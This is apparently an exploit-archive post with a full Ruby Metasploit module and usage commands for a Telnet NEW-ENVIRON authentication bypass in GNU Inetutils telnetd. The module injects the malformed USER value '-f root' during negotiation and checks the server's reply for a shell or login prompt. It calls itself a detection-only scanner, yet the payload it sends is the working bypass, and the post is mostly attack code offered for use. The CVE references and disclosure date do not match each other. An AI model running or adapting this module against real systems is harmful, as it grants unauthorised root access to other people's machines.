=============================================================================================================================================
| # Title     : GNU Inetutils 2.7 Telnet NEW‑ENVIRON Authentication Bypass Scanner                                                           |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
| # Vendor    : System built‑in component. No standalone download available.                                                                |
=============================================================================================================================================

[+] References :  https://packetstorm.news/files/id/214219/ & CVE-2026-24061 

[+] Summary    : This Metasploit auxiliary scanner detects a Telnet authentication bypass vulnerability related to improper handling of the NEW-ENVIRON option during Telnet negotiation. 
                 The issue allows an attacker to inject a malformed USER environment variable (for example, using flags such as -f root) when the server requests environment variables. 
				 Affected Telnet daemons may incorrectly trust this input, potentially bypassing password authentication and granting immediate shell access.
                 The module passively listens for the IAC SB NEW-ENVIRON SEND request, then responds with a crafted subnegotiation payload to test whether the target accepts the malicious USER value. 
				 It verifies success by analyzing server responses for common indicators of a successful login or shell prompt. When exploitation indicators are detected, 
				 the module reports the vulnerability in the Metasploit database.
                 This scanner is intended for security assessment and detection purposes against vulnerable Telnet servers, including implementations such as GNU Inetutils telnetd up to affected versions, 
				 and aligns conceptually with historical NEW-ENVIRON authentication bypass issues (e.g., CVE-1999-0192 and related Telnet environment variable flaws).

[+] Usage : 

# View available options

show options

# Set target(s)

set RHOSTS <target_IP_or_range>

# Example: set RHOSTS 192.168.1.1

# Or for a range: set RHOSTS 192.168.1.1-254

# Optional: Change port if Telnet is on non-standard port

set RPORT 2323

# Optional: Adjust timeout (default: 5 seconds)

set TIMEOUT 10

# Optional: Change payload (default: "-f root")

set USER_PAYLOAD "-f admin"

[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  Rank = NormalRanking

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::Telnet

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Telnet NEW-ENVIRON Authentication Bypass Scanner',
      'Description'    => %q{
        This module scans Telnet servers for the historical NEW-ENVIRON
        authentication bypass vulnerability (CVE-1999-0192).

        Vulnerable Telnet daemons may incorrectly process environment
        variables supplied during NEW-ENVIRON negotiation. By injecting
        a malformed USER value (e.g., "-f root"), authentication checks
        may be bypassed.

        This module detects and confirms the bypass condition only.
        It does NOT execute commands or create a session.
      },
      'Author'         =>
        [
          'indoushka'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '1999-0192'],
          ['RFC', '1572']
        ],
      'DisclosureDate' => '1994-12-12'
    ))

    register_options(
      [
        Opt::RPORT(23),
        OptString.new(
          'USER_PAYLOAD',
          [
            true,
            'Malformed USER environment value',
            '-f root'
          ]
        ),
        OptInt.new(
          'TIMEOUT',
          [
            true,
            'Timeout for Telnet negotiation (seconds)',
            5
          ]
        )
      ]
    )
  end

  def run_host(ip)
    begin
      connect
      print_status("#{ip}:#{rport} - Connected to Telnet service")

      self.sock.telnet_options[:negotiation] = false

      new_environ_requested = false

      ::Timeout.timeout(datastore['TIMEOUT']) do
        loop do
          data = sock.get_once(-1, 1)
          break if data.nil?

          if data.include?("\xff\xfa\x27\x01")
            new_environ_requested = true
            print_good("#{ip}:#{rport} - NEW-ENVIRON request detected")

            buf  = "\xff\xfa\x27\x00"
            buf += "\x00USER"
            buf += "\x01"
            buf += datastore['USER_PAYLOAD']
            buf += "\xff\xf0"

            print_status("#{ip}:#{rport} - Sending USER=#{datastore['USER_PAYLOAD']}")

            Rex.sleep(1)
            response = sock.get_once(-1, datastore['TIMEOUT'])

            if response && response =~ /(last login|welcome|login successful|[#\$]>)/i
              print_good("#{ip}:#{rport} - AUTHENTICATION BYPASS CONFIRMED")
              print_status("#{ip}:#{rport} - Server response: #{response.strip}")

              report_vuln(
                host: ip,
                port: rport,
                proto: 'tcp',
                name: self.name,
                refs: self.references,
                info: "Authentication bypass via NEW-ENVIRON (USER=#{datastore['USER_PAYLOAD']})"
              )
            else
              print_status("#{ip}:#{rport} - Payload sent, but bypass not confirmed")
            end

            break
          end
        end
      end

      unless new_environ_requested
        print_error("#{ip}:#{rport} - NEW-ENVIRON was not requested (likely not vulnerable)")
      end

    rescue ::Timeout::Error
      print_error("#{ip}:#{rport} - Timeout during Telnet negotiation")
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue ::EOFError
      print_error("#{ip}:#{rport} - Server closed the connection")
    rescue ::Interrupt
      raise
    rescue ::Exception => e
      print_error("#{ip}:#{rport} - Unexpected error: #{e.class} - #{e.message}")
    ensure
      disconnect
    end
  end
end

	
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================